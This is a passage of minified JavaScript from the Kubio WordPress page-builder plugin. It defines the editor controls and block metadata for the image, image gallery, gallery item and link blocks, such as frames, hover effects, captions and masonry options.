Sg.frameTypeValues.BACKGROUND:Xg("style","none",e);const o=e.getStyle("border.top.color","",qg);e.setStyle("background.color",o,qg)}},value:null===(t=s.value)||void 0===t?void 0:t.type},u=Sg.frameTypeValues,c={background:u.BACKGROUND===l.value,border:u.BORDER===l.value};let p="";p=c.background?e.getStyle("background.color","",qg):e.getStyle("border.top.color","",qg);const d={value:p,onChange:t=>{c.border?Xg("color",t,e):e.setStyle("background.color",t,qg)},onReset:()=>{if(c.border){const t=h("border.top.color");Xg("color",t,e)}else{const t=h("background.color");e.setStyle("background.color",t,qg)}}},m={value:e.getPropInMedia("frame.showFrameOverImage",!1),onChange:t=>{e.setPropInMedia("frame.showFrameOverImage",t),t?e.setStyle("zIndex",1,qg):e.setStyle("zIndex",-1,qg)}};function h(e){return je().get(jn.types.props.frameImage.default,`style.descendants.frameImage.${e}`)}const b={value:e.getPropInMedia("frame.enabled"),onChange:t=>{t&&null===e.getStyle("zIndex",null,{...qg})&&e.mergeInMainAttribute(jn.types.props.frameImage.default),e.setPropInMedia("frame.enabled",t)}};return{width:{onReset:()=>{e.setStyle("width",h("width"),qg)}},height:{onReset:()=>{e.setStyle("height",h("height"),qg)}},color:d,frameOverImage:m,frameTypeIs:c,frameEnabled:b,frameType:l,frame:s,offsetLeft:i,offsetTop:r,frameThickness:{onReset:()=>{Xg("width",h("border.top.width"),e)}},dataHelper:e,isOnDesktop:o}}))((e=>{var t;const o=null==e||null===(t=e.computed)||void 0===t?void 0:t.frameEnabled,{uiVersion:n}=(0,Fe.useUIVersion)();return(0,Je.jsx)(ut.PopoverOptionsButton,{label:(0,We.__)("Frame options","kubio"),toggable:!0,position:2===n?"middle right":"middle left",onToggleChange:o.onChange,enabled:!!o.value,popoverWidth:280,popupContent:(0,Je.jsx)(Qg,{...e})})})),Jg=Zg,ey=jn.Styles.background,ty={media:"desktop",styledComponent:mg,mergeData:!1},oy=((0,Ne.withComputedData)((e=>{const t=e.getStyle("background",{},ty);return{background:je().merge({},ey.default,t),updateBackground:(t,o)=>{const n=e.getStyle("background",{},ty),a=je().set({},t,o),i=je().merge({},n,a);e.setStyle("background",i,ty)},onReset:t=>{const o=e.getStyle("background",{},ty);je().unset(o,t),e.setStyle("background",o,ty)}}}))((({computed:e,...t})=>{const{background:o,updateBackground:n,onReset:a}=e;return(0,Je.jsx)(ut.OverlayControl,{localValue:o,updateState:je().noop,updateValue:n,onReset:a,...t})})),{source:"image",content:"effects"}),ny=()=>(0,Je.jsxs)(Re.PanelBody,{title:(0,We.__)("Effect options","kubio"),initialOpen:!1,children:[(0,Je.jsx)(Jg,{}),(0,Je.jsx)(lt.AvailableInPro,{displayModal:!1,urlArgs:oy})]}),ay=()=>(0,Je.jsxs)(Oe.StyleInspectorControls,{children:[(0,Je.jsx)(Yg,{}),(0,Je.jsx)(Kg,{}),(0,Je.jsx)(ny,{})]}),iy=(0,Ne.withPropsChecker)((e=>(0,Je.jsxs)(Je.Fragment,{children:[(0,Je.jsx)(zg,{}),(0,Je.jsx)(ay,{}),(0,Je.jsx)(Gg,{...e})]}))),ry={name:"kubio/image",category:"kubio-basic",attributes:{kubio:{type:"object"},link:{type:"object",default:{typeOpenLink:"sameWindow",lightboxMedia:""}},align:{type:"string"},url:{type:"string"},alt:{type:"string",default:""},caption:{type:"string",source:"html",default:""},captionEnabled:{type:"boolean",default:!1},title:{type:"string"},id:{type:"number"},sizeSlug:{type:"string",default:"large"}},supports:{anchor:!0,kubio:{appearanceEffect:!0,assetsURLImporterMap:{url:{assetIdToAttr:"id",subpath:!1}},default:{props:{useCustomDimensions:!1,frame:{enabled:!1,type:"background",showFrameOverImage:!1}}},elementsEnum:{OUTER:"outer",IMAGE:"image",OVERLAY:"overlay",CAPTION:"caption",CAPTION_CONTAINER:"captionContainer",FRAME_IMAGE:"frameImage",FRAME_CONTAINER:"frameContainer"},elementsByName:{outer:{default:!0,wrapper:!0,props:{tag:"figure"}},image:{props:{tag:"img",className:["d-flex"]}},caption:{props:{tag:"figcaption"}},frameImage:{props:{className:[]}},frameContainer:{},overlay:{supports:{background:!0}},captionContainer:{}},template:{type:"element",props:{name:"outer"},children:[{type:"element",props:{name:"captionContainer"},children:[{type:"LinkWrapper",children:[{type:"element",props:{name:"frameContainer"},children:[{type:"element",props:{name:"overlay",shouldRender:"computed.showOverlay"},children:[{type:"background"}]},{type:"element",props:{name:"image"}},{type:"element",props:{name:"frameImage",shouldRender:"computed.showFrameImage"}}]}]},{type:"element",props:{name:"caption",shouldRender:"computed.showCaption"}}]}]}}}},sy=(0,Sn.extendBlockMeta)(ry,{title:(0,We.__)("Image","kubio"),description:(0,We.__)("Add images with styled borders and shadows. You can add frames and effects to them for a more appealing look.","kubio"),icon:Tn.BlockIcons.Image,keywords:[(0,We.__)("img","kubio"),(0,We.__)("image","kubio"),(0,We.__)("photo","kubio"),(0,We.__)("picture","kubio")],attributes:{},apiVersion:2,supports:{kubio:{elementsByName:yg,isGutentagQuickInsertDefault:!0},reusable:!1,html:!1},__experimentalLabel(e,{context:t}){if("accessibility"===t){const{caption:t,alt:o,url:n}=e;return n?o?o+(t?". "+t:""):t||"":(0,We.__)("Empty","kubio")}},edit:iy,save:({attributes:e})=>(0,Je.jsx)(st.RichText.Content,{value:e.caption})}),ly=["image"],uy="full",cy=[{value:"thumbnail",label:(0,We.__)("Thumbnail","kubio")},{value:"medium",label:(0,We.__)("Medium","kubio")},{value:"large",label:(0,We.__)("Large","kubio")},{value:uy,label:(0,We.__)("Original size","kubio")},{value:"kubio-fullhd",label:(0,We.__)("Full HD","kubio")}],py=[{value:uy,label:(0,We.__)("Original size","kubio")}],dy="none",my=[dy];let hy=[{value:dy,label:(0,We.__)("None","kubio")},{value:"lightbox",label:(0,We.__)("Lightbox","kubio")},{value:"media",label:(0,We.__)("Link to media","kubio")},{value:"link",label:(0,We.__)("Link to attachment page","kubio")}];(0,Ze.getIsRequiredForCompatibility)()||(hy=(0,lt.addProTagToItems)(hy,my));const by="over",gy="over_on_hover",yy=[{value:"below",label:(0,We.__)("Below image","kubio")},{value:by,label:(0,We.__)("Over image","kubio")},{value:gy,label:(0,We.__)("Over image on hover","kubio")}],ky=((0,We.__)("Top","kubio"),(0,We.__)("Middle","kubio"),(0,We.__)("Bottom","kubio"),{blur:"blur",zoom:"zoom",fadeIn:"fadeIn",fadeOut:"fadeOut",glow:"glow",color:"color",grayscale:"grayscale",addOverlay:"addOverlay",removeOverlay:"removeOverlay"});let fy=[{value:ky.blur,label:(0,We.__)("Blur","kubio")},{value:ky.zoom,label:(0,We.__)("Zoom","kubio")},{value:ky.fadeIn,label:(0,We.__)("Fade In","kubio")},{value:ky.fadeOut,label:(0,We.__)("Fade Out","kubio")},{value:ky.glow,label:(0,We.__)("Glow","kubio")},{value:ky.color,label:(0,We.__)("Color","kubio")},{value:ky.grayscale,label:(0,We.__)("Grayscale","kubio")},{value:ky.addOverlay,label:(0,We.__)("Add Overlay","kubio")},{value:ky.removeOverlay,label:(0,We.__)("Remove Overlay","kubio")}];const _y="gallery",vy="image-container",xy="image",Cy="caption",Iy={["container"]:{label:(0,We.__)("Gallery","kubio"),supports:{styles:[jn.StylesEnum.BACKGROUND,jn.StylesEnum.BORDER,jn.StylesEnum.SPACING],states:jn.StatesPresetsEnum.NONE}},[vy]:{label:(0,We.__)("Image Container","kubio"),supports:{styles:[jn.StylesEnum.BACKGROUND,jn.StylesEnum.BORDER,jn.StylesEnum.SPACING],states:jn.StatesPresetsEnum.BASIC}},[xy]:{label:(0,We.__)("Image","kubio"),supports:{styles:[jn.StylesEnum.BACKGROUND,jn.StylesEnum.BORDER,jn.StylesEnum.SPACING],states:jn.StatesPresetsEnum.BASIC}},[Cy]:{label:(0,We.__)("Caption","kubio"),tag:"figcaption",supports:{styles:[jn.StylesEnum.BACKGROUND,jn.StylesEnum.BORDER,jn.StylesEnum.SPACING,jn.StylesEnum.TYPOGRAPHY],states:jn.StatesPresetsEnum.BASIC}}},Ey=(e,t)=>{const{replaceInnerBlocks:o,getSize:n,clientId:a}=t;if(e.length<0)return;const i=n(),r=e.map((e=>{if(void 0===e)return null;const{url:t,sizes:o,caption:n,alt:a,id:r}=e;let s=t;return o&&void 0!==o[i]&&(s=o[i].url),o&&void 0===s&&(s=o[i].source_url),(0,Ne.createBlockWithDataHelper)(hn.IMAGE_GALLERY_ITEM,(e=>{e.setAttributes({id:r,caption:n,url:s,alt:a})}))}));Array.isArray(r)&&o(a,r,!1)},Ty=[hn.IMAGE_GALLERY_ITEM],Sy=e=>{const{dataHelper:t,computed:o,StyledElements:n,galleryHasImages:a,clientId:i}=e,{masonry:r,gridGap:s,onSelect:l}=o,u=(0,Me.useRef)(),{getFrontendComponentFunction:c}=(0,Ne.useFrontEndComponent)({clientId:i,ref:u,componentName:"imageGallery"});!function(e){(0,Me.useEffect)((()=>{if(e.getAttribute("imagesData").length>0)return;const t=e.withChildren().map((e=>e.getAttributes(["id","alt","caption","url"])));e.setAttribute("imagesData",t)}),[])}(t);const p=c("restartMasonry",500),d=c("stopMasonry",100),m=(0,Ne.useJSComponentProps)("image-gallery",{showMasonry:r,gridGap:null==s?void 0:s.value});(0,Me.useLayoutEffect)((()=>{r?p():d()}),[r,p,e.attributes,d]);const h=bn({...m,ref:u},{templateLock:"all",renderAppender:!1,allowedBlocks:Ty});return(0,Je.jsx)(n.Container,{children:a?(0,Je.jsx)(n.Gallery,{...h}):(0,Je.jsx)(st.MediaPlaceholder,{labels:{title:(0,We.__)("Gallery","kubio"),instructions:(0,We.__)("Drag images, upload new ones or select files from your library.","kubio")},icon:(0,Je.jsx)(st.BlockIcon,{icon:Tn.BlockIcons.ImageGallery}),onSelect:l,accept:"image/*",allowedTypes:ly,multiple:!0})})},wy=(0,De.compose)((0,Le.withSelect)(((e,t)=>{const{clientId:o}=t,{getBlockOrder:n}=e("core/block-editor");return{galleryHasImages:n(o).length>0}})),(0,Le.withDispatch)((e=>{const{replaceInnerBlocks:t}=e("core/block-editor");return{replaceInnerBlocks:t}})),(0,Ne.withActiveMedia)(),(0,Ne.withColibriDataAutoSave)(((e,t)=>{const{clientId:o,replaceInnerBlocks:n}=t,a=e.getPropInMedia("columns",e.getProp("columns"),{media:t.activeMedia}),i=e.getAttribute("imagesData"),r=e.getProp("showMasonry"),s=e.getStyle("gridGap"),l=e.getAttribute("size"),u=e.getProp("caption"),c=e.getProp("hoverEffect"),p=()=>l;return{masonry:r,columns:a,gridGap:s,caption:u,hoverEffect:c,onSelect:t=>{e.setAttribute("imagesData",t.map((e=>(0,Ae.pick)(e,["id","alt","caption","url"])))),Ey(t,{replaceInnerBlocks:n,getSize:p,clientId:o})},imagesData:i}})),(0,Ne.withStyledElements)((({computed:e})=>{const{masonry:t,columns:o,caption:n,hoverEffect:a}=e,i=Ge()("image-gallery-grid__col-"+o,{["hover-effect--"+(null==a?void 0:a.type)]:null==a?void 0:a.enabled,["caption--"+(null==n?void 0:n.verticalAlign)]:null==n?void 0:n.enabled,["caption-position--"+(null==n?void 0:n.position)]:null==n?void 0:n.enabled,"wp-block-kubio-image-gallery_masonry":!t,"wp-block-kubio-image-gallery_classic":!t});return{[_y]:{className:i}}}))),Py=wy((e=>{const{galleryHasImages:t}=e,[o,n]=(0,Me.useState)(0);return(0,Me.useEffect)((()=>{n((e=>e+1))}),[t]),(0,Je.jsx)(Sy,{...e},o)})),Ay=(0,De.compose)((0,Le.withSelect)((e=>{const{getMedia:t,getEntityRecords:o,isResolving:n,hasFinishedResolution:a}=e("core");return{getMedia:t,getEntityRecords:o,isResolving:n,hasFinishedResolution:a,getImages:e=>o(...e)}})),(0,Ne.withComputedData)(((e,t)=>{const{getImages:o}=t,{clientId:n}=e,a=e.getProp("caption"),{replaceInnerBlocks:i}=(0,Le.useDispatch)("core/block-editor"),r=(0,Ze.getBackendData)("base_url"),s=e.withChildren(),l=s.every((e=>!e.getAttribute("url").includes(r))),u=()=>e.getAttribute("size"),c=t=>{e.setAttribute("imagesData",t.map((e=>(0,Ae.pick)(e,["id","alt","caption","url"])))),Ey(t,{replaceInnerBlocks:i,getSize:u,clientId:n})},p={value:l?uy:e.getAttribute("size"),onChange:t=>{e.setAttribute("size",t);const n=(()=>{const t=["postType","attachment",{include:e.withChildren().map((e=>e.getAttribute("id"))).join(","),_fields:"id,source_url,media_details"}],n=o(t),a=e.getAttribute("imagesData");if(null===n)return a;const i=[];return a.forEach(((e,t)=>{const o=e.id,a=n.find((e=>o===e.id));i[t]={...e,...a}})),i.map((e=>{var t;return{id:e.id,url:null!=e&&e.source_url?null==e?void 0:e.source_url:null==e?void 0:e.url,sizes:null==e||null===(t=e.media_details)||void 0===t?void 0:t.sizes,caption:null==e?void 0:e.caption}}))})();n&&c(n)}},d=s.map((e=>e.getAttribute("id"))),m=s.map((e=>e.getAttribute("url")));return{caption:a,onSelect:c,imagesIds:d,sizeProps:p,hasPlaceholders:l,imageUrls:m}}))),jy=Ay((({computed:e})=>{const{onSelect:t,caption:o,imagesIds:n,imageUrls:a,sizeProps:i,hasPlaceholders:r}=e;return(0,Je.jsxs)(ut.KubioPanelBody,{title:(0,We.__)("Gallery Properties","kubio"),children:[(0,Je.jsx)(Re.BaseControl,{children:(0,Je.jsx)(st.MediaUploadCheck,{children:(0,Je.jsx)(st.MediaUpload,{onSelect:t,allowedTypes:ly,accept:"image/*",multiple:!0,gallery:!0,value:n,urls:a,render:({open:e})=>(0,Je.jsx)(Je.Fragment,{children:(0,Je.jsx)(Re.Button,{isPrimary:!0,onClick:e,className:"kubio-button-100",children:(0,We.__)("Manage images","kubio")})})})})}),(0,Je.jsx)(ut.SeparatorHorizontalLine,{}),(0,Je.jsx)(ut.RangeWithPath,{label:(0,We.__)("Number of columns","kubio"),min:1,max:12,capMax:!0,type:Ne.WithDataPathTypes.PROP,path:"columns",media:"current"}),(0,Je.jsx)(ut.SeparatorHorizontalLine,{}),(0,Je.jsx)(ut.ToggleControlWithPath,{label:(0,We.__)("Use masonry","kubio"),type:Ne.WithDataPathTypes.PROP,path:"showMasonry",isProOnly:!0,upgradeUrlArgs:{source:"gallery",content:"masonry"}}),(0,Je.jsx)(ut.GutentagSelectControl,{label:(0,We.__)("Image size","kubio"),...i,options:r?py:cy}),(0,Je.jsx)(ut.SelectControlWithPath,{label:(0,We.__)("Click behaviour","kubio"),type:Ne.WithDataPathTypes.PROP,options:hy,path:"clickBehaviour"}),(0,Je.jsx)(ut.SeparatorHorizontalLine,{}),(0,Je.jsx)(ut.ToggleControlWithPath,{label:(0,We.__)("Show caption","kubio"),type:Ne.WithDataPathTypes.PROP,path:"caption.enabled"}),(null==o?void 0:o.enabled)&&(0,Je.jsxs)(Je.Fragment,{children:[(0,Je.jsx)(ut.SelectControlWithPath,{label:(0,We.__)("Caption position","kubio"),type:Ne.WithDataPathTypes.PROP,options:yy,path:"caption.position"}),((null==o?void 0:o.position)===by||(null==o?void 0:o.position)===gy)&&(0,Je.jsx)(ut.VerticalAlignControlWithPath,{label:(0,We.__)("Vertical align","kubio"),path:"caption.verticalAlign",type:Ne.WithDataPathTypes.PROP}),(0,Je.jsx)(ut.HorizontalTextAlignControlWithPath,{label:(0,We.__)("Text align","kubio"),path:"textAlign",useContentAlignIcons:!1,type:Ne.WithDataPathTypes.STYLE,style:Cy})]})]})})),By=()=>(0,Je.jsx)(Oe.ContentInspectorControls,{children:(0,Je.jsx)(jy,{})}),Ny="image",Oy="caption",Ry="image-overlay",Dy="image-caption-wrapper",Ly={["image-container"]:{label:(0,We.__)("Image Container","kubio"),supports:{styles:[jn.StylesEnum.BACKGROUND,jn.StylesEnum.BORDER,jn.StylesEnum.SPACING],states:jn.StatesPresetsEnum.BASIC}},[Ny]:{label:(0,We.__)("Image","kubio"),supports:{styles:[jn.StylesEnum.BACKGROUND,jn.StylesEnum.BORDER,jn.StylesEnum.SPACING],states:jn.StatesPresetsEnum.BASIC}},[Oy]:{label:(0,We.__)("Caption","kubio"),tag:"figcaption",supports:{styles:[jn.StylesEnum.BACKGROUND,jn.StylesEnum.BORDER,jn.StylesEnum.SPACING,jn.StylesEnum.TYPOGRAPHY],states:jn.StatesPresetsEnum.BASIC}},[Ry]:{label:(0,We.__)("Image Overlay","kubio"),internal:!0}},My={styledComponent:Ny},Wy={styledComponent:Ry},Hy={styledComponent:Dy},Gy=(0,Ne.withComputedData)((e=>({hoverEffect:e.getProp("hoverEffect"),spacingProps:{value:e.getStyle("margin.left",{value:10,unit:"px"},Hy),onChange:t=>{const o={top:t,right:t,bottom:t,left:t};e.setStyle("margin",o,Hy)},onReset:()=>{e.setStyle("margin",Be.UNSET_VALUE,Hy)}},effectDurationProps:{value:e.getStyle("transition.duration",{},My),onChange:t=>{e.setStyle("transition.duration",t,My),e.setStyle("transition.duration",t,Wy)},onReset:()=>{const t={value:1,unit:"s"};e.setStyle("transition.duration",t,My),e.setStyle("transition.duration",t,Wy)}}})))((({computed:e})=>{const{hoverEffect:t,spacingProps:o,effectDurationProps:n}=e;return(0,Je.jsxs)(ut.KubioPanelBody,{title:(0,We.__)("Image","kubio"),children:[(0,Je.jsx)(ut.RangeWithUnitControl,{label:(0,We.__)("Spacing","kubio"),min:0,max:50,capMin:!0,capMax:!0,...o}),(0,Je.jsx)(ut.ToggleControlWithPath,{label:(0,We.__)("Show hover effect","kubio"),type:Ne.WithDataPathTypes.PROP,path:"hoverEffect.enabled",isProOnly:!0,upgradeUrlArgs:{source:"gallery",content:"hover-effect"}}),(null==t?void 0:t.enabled)&&(0,Je.jsxs)(Je.Fragment,{children:[(0,Je.jsx)(ut.SelectControlWithPath,{label:(0,We.__)("Hover effect types","kubio"),type:Ne.WithDataPathTypes.PROP,options:fy,path:"hoverEffect.type"}),[ky.removeOverlay,ky.addOverlay].includes(t.type)&&(0,Je.jsx)(ut.ColorWithPath,{label:(0,We.__)("Color","kubio"),path:"background.color",type:Ne.WithDataPathTypes.STYLE,style:Ry}),(0,Je.jsx)(ut.RangeWithUnitControl,{label:(0,We.__)("Effect duration","kubio"),...n,defaultUnit:"s",min:0,max:5})]})]})})),Uy=(0,Ne.withComputedData)((e=>{const t=e.getProp("caption"),o=(e.withParent(),-1!==["lightbox","link","media"].indexOf(e.getProp("clickBehaviour")));return{caption:t,inheritedTextColor:(0,bt.useInheritedTypographyValue)(o?"a":"p","color")}}))((({computed:e})=>{const{caption:t,inheritedTextColor:o}=e,n={type:Ne.WithDataPathTypes.STYLE,style:Cy};return null!=t&&t.enabled?(0,Je.jsxs)(Re.PanelBody,{title:(0,We.__)("Caption","kubio"),initialOpen:!1,children:[(0,Je.jsx)(ut.ColorWithPath,{label:(0,We.__)("Background color","kubio"),path:"background.color",...n}),(0,Je.jsx)(ut.ColorWithPath,{label:(0,We.__)("Text color","kubio"),path:"typography.color",...n,defaultValue:o}),(0,Je.jsx)(ut.TypographyControlPopupWithPath,{path:"typography",...n}),(0,Je.jsx)(ut.RangeWithUnitWithPath,{label:(0,We.__)("Spacing","kubio"),path:["padding.top","padding.bottom"],min:0,max:20,...n})]}):(0,Je.jsx)(Je.Fragment,{})})),Fy=()=>(0,Je.jsxs)(Oe.StyleInspectorControls,{children:[(0,Je.jsx)(Gy,{}),(0,Je.jsx)(Uy,{})]}),zy=(0,Ne.withPropsChecker)((e=>(0,Je.jsxs)(Je.Fragment,{children:[(0,Je.jsx)(By,{}),(0,Je.jsx)(Fy,{}),(0,Je.jsx)(Py,{...e})]}))),Vy={name:"kubio/image-gallery",category:"kubio-components",attributes:{kubio:{type:"object"},size:{type:"string",default:"medium"},imagesData:{type:"array",default:[]}},supports:{anchor:!0,kubio:{appearanceEffect:!0,default:{props:{showMasonry:!1,clickBehaviour:"none",caption:{enabled:!1,verticalAlign:"center",position:"below"},hoverEffect:{enabled:!1,type:"zoom",duration:{default:{value:0,unit:"s"}}},columns:4,media:{tablet:{columns:3},mobile:{columns:2}}},style:{descendants:{image:{transition:{duration:{value:"1",unit:"s"}}},caption:{textAlign:"center"},"image-overlay":{transition:{duration:{value:"1",unit:"s"}},background:{color:"rgba(var(--kubio-color-1),1)"}},"image-caption-wrapper":{margin:{top:{value:0},right:{value:0},bottom:{value:0},left:{value:0}}}}}},elementsEnum:{CONTAINER:"container",PLACEHOLDER:"placeholder",GALLERY:"gallery",IMAGE_CONTAINER:"image-container",IMAGE:"image",CAPTION:"caption",IMAGE_OVERLAY:"image-overlay",IMAGE_CAPTION_WRAPPER:"image-caption-wrapper"},elementsByName:{container:{wrapper:!0,default:!0,props:{tag:"div"}},gallery:{props:{tag:"div"}},image:{selector:".wp-block-kubio-image-gallery-item__image"},"image-container":{selector:".image-gallery-grid-item"},caption:{selector:".wp-block-kubio-image-gallery-item__caption"},"image-caption-wrapper":{selector:".wp-block-kubio-image-gallery-item__image-caption-wrapper"},"image-overlay":{supports:{background:!0},selector:".wp-block-kubio-image-gallery-item__image-overlay"}},template:{type:"element",props:{name:"container"},children:[{type:"element",props:{name:"style",type:"text/css",tag:"style"}},{type:"element",props:{name:"gallery"},children:[{type:"wp:InnerBlocks"}]}]}}}},Yy=(0,Sn.extendBlockMeta)(Vy,{title:(0,We.__)("Image Gallery","kubio"),description:(0,We.__)("Define the number of columns, the image size, and click behavior for your image gallery.","kubio"),icon:Tn.BlockIcons.ImageGallery,keywords:[(0,We.__)("images","kubio"),(0,We.__)("masonry","kubio"),(0,We.__)("gallery","kubio"),(0,We.__)("photo","kubio"),(0,We.__)("picture","kubio"),(0,We.__)("photos","kubio")],attributes:{},apiVersion:2,supports:{kubio:{elementsByName:Iy},reusable:!1,html:!1},edit:zy,save:function(){return(0,Je.jsx)(st.InnerBlocks.Content,{})},innerBlocksDisableInBetweenInserter:!0}),$y=(0,De.compose)((0,Ne.refreshOnParentChange)(),(0,Ne.withColibriDataAutoSave)((e=>{const t=e.withParent(),o=t.getProp("caption"),n=t.getProp("hoverEffect"),a=e.getAttribute("url"),i=e.getAttribute("alt"),r=e.getAttribute("caption");return{dataHelper:e,alt:i,src:a,imageCaption:r,caption:o,showCaption:(null==o?void 0:o.enabled)&&!(0,Ae.isEmpty)(r),showOverlay:(null==n?void 0:n.enabled)&&((null==n?void 0:n.type)===ky.addOverlay||(null==n?void 0:n.type)===ky.removeOverlay),linkEnabled:-1!==["lightbox","link","media"].indexOf(t.getProp("clickBehaviour"))}})),(0,Ne.withStyledElements)((({computed:e}={})=>{const{alt:t,src:o}=e;return{[Ny]:{alt:t,src:o},[Ry]:{},[Oy]:{}}}))),Ky=$y((e=>{const{StyledElements:t,computed:o,dataHelper:n}=e,{showCaption:a,showOverlay:i,imageCaption:r,src:s,linkEnabled:l}=o;!function(e,t){(0,Me.useEffect)((()=>{const o="__kubioDefaultAssetURLPlaceholder__/";if(!e.includes(o))return;const n=(0,Ze.defaultAssetURL)(),a=e.replace(o,n);t.setAttribute("url",a)}),[])}(s,n);const u=(0,Me.useCallback)((()=>(0,Je.jsxs)(Je.Fragment,{children:[(0,Je.jsx)(t.Image,{}),(0,Je.jsx)(t.Caption,{shouldRender:a,children:r}),(0,Je.jsx)(t.ImageOverlay,{shouldRender:i})]})),[r,a,i]);return(0,Je.jsx)(t.ImageContainer,{children:(0,Je.jsxs)(t.ImageCaptionWrapper,{children:[l&&(0,Je.jsx)(t.Link,{href:"#",children:(0,Je.jsx)(u,{})}),!l&&(0,Je.jsx)(u,{})]})})})),qy=(0,Ne.withPropsChecker)((function(e){return(0,Je.jsx)(Je.Fragment,{children:(0,Je.jsx)(Ky,{...e})})})),Xy={name:"kubio/image-gallery-item",category:"kubio-basic",parent:["kubio/image-gallery"],attributes:{kubio:{type:"object"},id:{type:"number"},link:{type:"object"},url:{type:"string"},alt:{type:"string",default:""},caption:{type:"string",default:""},title:{type:"string"},sizeSlug:{type:"string",default:"large"}},supports:{kubio:{appearanceEffect:!0,assetsURLImporterMap:{url:{assetIdToAttr:"id",subpath:!1}},elementsEnum:{IMAGE_CONTAINER:"image-container",LINK:"link",IMAGE:"image",CAPTION:"caption",IMAGE_OVERLAY:"image-overlay",IMAGE_CAPTION_WRAPPER:"image-caption-wrapper"},elementsByName:{"image-container":{default:!0,wrapper:!1,props:{className:["image-gallery-grid-item"],tag:"figure"}},image:{props:{tag:"img",filters:["wp_filter_content_tags"]}},link:{props:{tag:"a"}},caption:{props:{tag:"figcaption"}},"image-caption-wrapper":{props:{tag:"div"}}},template:{type:"element",props:{name:"image-container"},children:[{type:"element",props:{name:"image-caption-wrapper"},children:[{type:"element",props:{name:"link",shouldRender:"computed.linkEnabled"},children:[{type:"element",props:{name:"image"}},{type:"element",props:{name:"caption",shouldRender:"computed.showCaption"}},{type:"element",props:{name:"image-overlay",shouldRender:"computed.showOverlay"}}]},{type:"element",props:{name:"image",shouldRender:"computed.linkDisabled"}},{type:"element",props:{name:"caption",shouldRender:"computed.showCaptionWithoutLink"}},{type:"element",props:{name:"image-overlay",shouldRender:"computed.showOverlayWithoutLink"}}]}]}}}},Qy=(0,Sn.extendBlockMeta)(Xy,{title:(0,We.__)("Image","kubio"),icon:Tn.BlockIcons.IconList,apiVersion:2,supports:{kubio:{elementsByName:Ly},reusable:!1,html:!1,lightBlockWrapper:!0},edit:qy}),Zy={toolbar1:"bold,italic"},Jy=(0,Ne.withComputedData)((e=>{const t=e.withParent(),o=null==t?void 0:t.clientId,{childrenIds:n}=(0,Le.useSelect)((e=>{const{getBlockOrder:t}=e("core/block-editor");return{childrenIds:t(o)}})),a=n.length>1;return{showIcon:e.getProp("showIcon"),groupClientId:o,showLinkGroup:a,onAddLink:()=>{e.duplicate({unlink:!0,selectDuplicate:!1})}}}))((({computed:e})=>{const{showIcon:t,groupClientId:o,onAddLink:n,showLinkGroup:a}=e;return(0,Je.jsxs)(Je.Fragment,{children:[(0,Je.jsxs)(Re.PanelBody,{title:(0,We.__)("Link Properties","kubio"),children:[(0,Je.jsx)(ut.TinymceControlWithPath,{label:(0,We.__)("Link text","kubio"),path:"text",type:Ne.WithDataPathTypes.ATTRIBUTE,editorSettings:Zy}),(0,Je.jsx)(ut.SeparatorHorizontalLine,{}),(0,Je.jsx)(ut.LinkControlWithData,{}),(0,Je.jsx)(ut.SeparatorHorizontalLine,{}),(0,Je.jsx)(ut.ToggleControlWithPath,{label:(0,We.__)("Display link icon","kubio"),type:Ne.WithDataPathTypes.PROP,path:"showIcon"}),t&&(0,Je.jsx)(ut.IconPickerWithPath,{path:"icon.name",type:Ne.WithDataPathTypes.ATTRIBUTE}),!a&&(0,Je.jsxs)(Je.Fragment,{children:[(0,Je.jsx)(ut.SeparatorHorizontalLine,{}),(0,Je.jsx)(Oe.DataHelperContextFromClientId,{clientId:o,children:(0,Je.jsx)(ut.HorizontalTextAlignControlWithPath,{path:"textAlign",type:"style",label:(0,We.__)("Link align","kubio"),style:Xc})}),(0,Je.jsx)("div",{className:"components-base-control",children:(0,Je.jsx)(Re.Button,{isPrimary:!0,icon:Tn.AddItemIcon,onClick:n,className:"kubio-button-group-button sortable-collapse__add-button",children:(0,We.__)("Add link","kubio")})})]})]}),a&&(0,Je.jsx)(Oe.DataHelperContextFromClientId,{clientId:o,children:(0,Je.jsx)(ap,{panelLabel:(0,We.__)("Link Group","kubio"),groupListLabel:(0,We.__)("Link list","kubio")})})]})})),ek=Jy,tk=()=>(0,Je.jsx)(Oe.ContentInspectorControls,{children:(0,Je.jsx)(ek,{})}),ok=(0,Ne.withComputedData)((e=>({})))((()=>{const e={type:Ne.WithDataPathTypes.STYLE,style:yu},t=(0,bt.useInheritedTypographyValue)("a","color"),o=(0,bt.useInheritedTypographyValue)("a","states.hover.color");return(0,Je.jsxs)(Re.PanelBody,{title:(0,We.__)("Link style","kubio"),children:[(0,Je.jsx)(ut.TypographyControlPopupWithPath,{path:"typography",nodeType:"a",...e}),(0,Je.jsx)(ut.ColorWithPath,{label:(0,We.__)("Text color","kubio"),path:"typography.color",...e,defaultValue:t}),(0,Je.jsx)(ut.ColorWithPath,{label:(0,We.__)("Hover text color","kubio"),path:"typography.color",state:"hover",...e,defaultValue:o})]})})),nk=ok,ak=()=>(0,Je.jsxs)(Oe.StyleInspectorControls,{children:[(0,Je.jsx)(nk,{}),(0,Je.jsx)(Qp,{})]}),ik=(0,Je.jsx)(Bn.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,Je.jsx)(Bn.Path,{d:"M10 17.389H8.444A5.194 5.194 0 1 1 8.444 7H10v1.5H8.444a3.694 3.694 0 0 0 0 7.389H10v1.5ZM14 7h1.556a5.194 5.194 0 0 1 0 10.39H14v-1.5h1.556a3.694 3.694 0 0 0 0-7.39H14V7Zm-4.5 6h5v-1.5h-5V13Z"})}),rk=e=>{const{isSelected:t,clientId:o,dataHelper:n,showToolbarLinkButton:a=!0}=e,[i,r]=(0,Me.useState)(!1),s=(0,Me.useRef)(),l=i&&t&&(0,Je.jsx)(Re.Popover,{position:"center top",className:"kubio-color-popover",onClose:()=>r(!1),anchorRef:null==s?void 